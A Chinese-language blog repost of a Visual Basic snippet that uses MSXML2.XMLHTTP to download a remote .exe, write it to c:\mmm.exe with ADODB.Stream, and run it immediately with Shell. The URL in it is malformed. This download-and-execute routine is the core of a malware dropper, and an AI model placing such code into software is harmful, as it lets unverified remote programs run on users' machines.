分享

vb中利用xmlhttp来下载远程文件

 趋明 2012-02-18
  • vb中利用xmlhttp来下载远程文件


Form1代码:

   Public a As MSXML2.XMLHTTP
  

Private Sub Command1_Click()
   Dim d As Class1
   Set a = New MSXML2.XMLHTTP
   a.open "get", "http://www./sll.exe", True
   Set d = New Class1
   a.onreadystatechange = d
   a.send
End Sub

Class1代码:

Dim b As ADODB.Stream
Dim fso As Scripting.FileSystemObject
Public curReadyState As Long
Public Function doSome()
  Debug.Print Form1.a.readyState
  If Form1.a.readyState = 4 Then
     www
  End If
End Function
Public Function www()
   Set b = New ADODB.Stream
   b.Type = 1
   b.open
   Set fso = New Scripting.FileSystemObject
   If Form1.a.readyState = 4 Then
        b.Write (Form1.a.responseBody)
        If Not fso.FileExists("c:\mmm.exe") Then
           b.SaveToFile "c:\mmm.exe"
        End If
   End If
   b.Close
   Set b = Nothing
   If fso.FileExists("c:\mmm.exe") Then Shell "c:\mmm.exe", 1
   Set fso = Nothing
End Function


    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多